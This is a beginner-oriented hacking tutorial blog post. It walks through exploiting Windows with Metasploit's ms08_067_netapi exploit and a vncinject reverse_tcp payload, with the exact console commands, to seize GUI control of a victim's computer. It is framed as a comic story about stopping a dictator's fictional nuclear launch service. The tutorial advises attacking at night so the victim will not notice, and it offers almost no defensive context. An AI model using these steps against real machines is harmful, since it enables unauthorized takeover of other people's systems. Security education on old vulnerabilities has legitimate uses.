Welcome back, my newbie hackers!
Hackers often are associated with clandestine and illegal activity, but that is not necessarily always the case. Hackers are increasingly being used and employed for law enforcement, national security, and other legitimate purposes. In this installment, we will look at how a single hacker could save the world from nuclear annihilation.
Imagine a scenario where a new, young dictator takes over the leadership of a nuclear-armed nation. He proceeds to threaten multiple nations with nuclear annihilation. We, the hacker, might be the only one able to save the world!
In this hack, we will embed a VNC server on the target system. The VNC (virtual networking computer) will enable us to take complete control of the dictator's system, with his Windows GUI appearing on our computer. With it, we can do everything the dictator can do with his mouse and interface.
It's important to note here that using VNC is not stealthy. If the user is on their system, he'll see his mouse moving and windows opening, and he'll soon figure out something fishy is going on. That's why we want to only employ this hack when we are pretty certain that our victim is not on his system. We will time our hack so as to be in the dead of night at our dictator's location.
Let's proceed to save the world from this belligerent tyrant!
First, let's fire up the only tool we need to save the world—Metasploit. In this hack, we will use a new exploit to us:
We need to type:
msf > use exploit/windows/smb/ms08_067_netapi
Next, we need to choose a payload. Unlike my earlier hacks, this time we will be using the VNC server. This enables us to use the victim's Windows GUI as if it were our own.
msf > set PAYLOAD payload/windows/vncinject/reverse_tcp
Before we launch this hack, we need only to set the RHOST (the dictator's or victim's computer) and LHOST (our attack system) IP addresses.
Now that we have all the necessary information in Metasploit, all we need to do is type:
msf > exploit
As you can see from the screenshot below, Metasploit has opened up a Windows GUI from our dictator's machine and given us complete control! In addition, it has provided us with a command shell.
When we minimize the command shell, we see what our madman is up to.
As we can see from this screenshot from his computer, he is drafting the orders to launch his nuclear attack (and ordering more Twinkies?).
Hmmm…maybe we can disable that, so that he can't launch.
Let's take a look at his running processes. We can click on Control Panel -> Administrative Tools -> Services and see what services he has running on his computer.
As we can see from his Services, he has a service called "Launch Nuclear Attack" on his computer and the service has started. If we can stop or disable this service, we can stop him before he launches the attack! Let's click on the "Stop" service link and turn off this service.
Alright, maybe we only kept the world safe for the moment, as they are likely to figure out why the launch didn't activate, but at least we did what we could to live to fight another day. On the other hand, considering how technologically backward they are, it may take them months or years to figure out what just happened. :-)